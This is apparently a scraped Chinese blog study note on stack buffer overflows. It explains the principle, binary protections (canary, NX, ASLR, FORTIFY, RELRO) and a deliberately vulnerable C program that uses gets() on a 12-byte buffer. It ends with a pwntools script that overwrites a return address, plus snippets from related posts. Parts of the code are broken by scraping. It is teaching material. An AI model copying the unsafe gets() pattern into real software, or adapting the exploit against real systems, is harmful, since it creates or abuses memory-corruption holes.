棧溢位學習筆記

2021-08-21 12:28:46 字數 1556 閱讀 9526

棧溢位

(一)原理

棧溢位指的是程式向棧中某個變數中寫入的位元組數超過了這個變數本身所申請的位元組數,因而導致與其相鄰的棧中的變數的值被改變。這種問題是一種特定的緩衝區溢位漏洞,類似的還有堆溢位,bss 段溢位等溢位方式。棧溢位漏洞輕則可以使程式崩潰,重則可以使攻擊者控制程式執行流程。此外,我們也不難發現,發生棧溢位的基本前提是

(二)示例

最典型的棧溢位利用是覆蓋程式的返回位址為攻擊者所控制的位址,當然需要確保這個位址所在的段具有可執行許可權。

這裡我們通過利用棧溢位漏洞來控制程式執行success函式,控制程式流程的關鍵就是覆蓋返回位址

#include

#include

void success()

void vulnerable() {

char s[12];

gets(s);//不檢查輸入字串的長度,而是以回車來判斷輸入是否結束,所以很容易可以導致棧溢位,

puts(s);

return;

int main(int argc, char **argv) {

vulnerable();

return 0;

gcc 編譯指令中,-m32 指的是生成 32 位程式; -fno-stack-protector 指的是不開啟堆疊溢位保護,即不生成 canary。

補充:二進位制保護機制

1.canary(棧保護)

這個選項表示棧保護功能有沒有開啟。

棧溢位保護是一種緩衝區溢位攻擊緩解手段,當函式存在緩衝區溢位攻擊漏洞時,攻擊者可以覆蓋棧上的返回位址來讓shellcode能夠得到執行。當啟用棧保護後,函式開始執行的時候會先往棧裡插入cookie資訊,當函式真正返回的時候會驗證cookie資訊是否合法,如果不合法就停止程式執行。攻擊者在覆蓋返回位址的時候往往也會將cookie資訊給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。在linux中我們將cookie資訊稱為canary。

2.nx/dep(堆疊不可執行)

nx即no-execute(不可執行)的意思,nx(dep)的基本原理是將資料所在記憶體頁標識為不可執行,當程式溢位成功轉入shellcode時,程式會嘗試在資料頁面上執行指令,此時cpu就會丟擲異常,而不是去執行惡意指令。

3.pie/aslr(位址隨機化)

4.fortify 

這個保護機制查了很久都沒有個很好的漢語形容,根據我的理解它其實和棧保護都是gcc的新的為了增強保護的一種機制,防止緩衝區溢位攻擊。由於並不是太常見,也沒有太多的了解。

5.relro

設定符號重定向**為唯讀或在程式啟動時就解析並繫結所有動態符號,從而減少對got(global offset table)攻擊。

from pwn import *

p = process('./stack_example')

success_addr = 0x08048456

payload = 'a'*0x14+ 'bbbb' + p32(success_addr)

print p32(success_addr)

p.sendline(payload)

p.interactive()

棧溢位和棧記憶體溢位

棧記憶體溢位是指使用者棧的大小最多為8 10mb,分配超過棧大小的變數則會導致棧記憶體溢位。如char c 1024102411 11mb 棧溢位指的是程式向棧中某個變數中寫入的位元組數超過了這個變數本身所申請的位元組數,因而導致與其相鄰的棧中的變數的值被改變。如char c 10 memset c...

棧溢位,記憶體溢位

對於一台伺服器而言,每乙個使用者請求,都會產生乙個執行緒來處理這個請求,每乙個執行緒對應著乙個棧,棧會分配記憶體,此時如果請求過多,這時候記憶體不夠了,就會發生棧記憶體溢位。棧溢位是指不斷的呼叫方法,不斷的壓棧,最終超出了棧允許的棧深度,就會發生棧溢位,比如遞迴操作沒有終止,死迴圈。可以把記憶體比作...

棧溢位攻擊c語言 棧溢位攻擊

我們先來看下面的乙個例子 include int main gets str printf str s n str return 0 在 main 函式內部定義乙個字元陣列,並通過 gets 為它賦值。在vs2010 debug模式下執行程式,當輸入的字元不超過10個時,可以正確輸出,但是當輸入的字...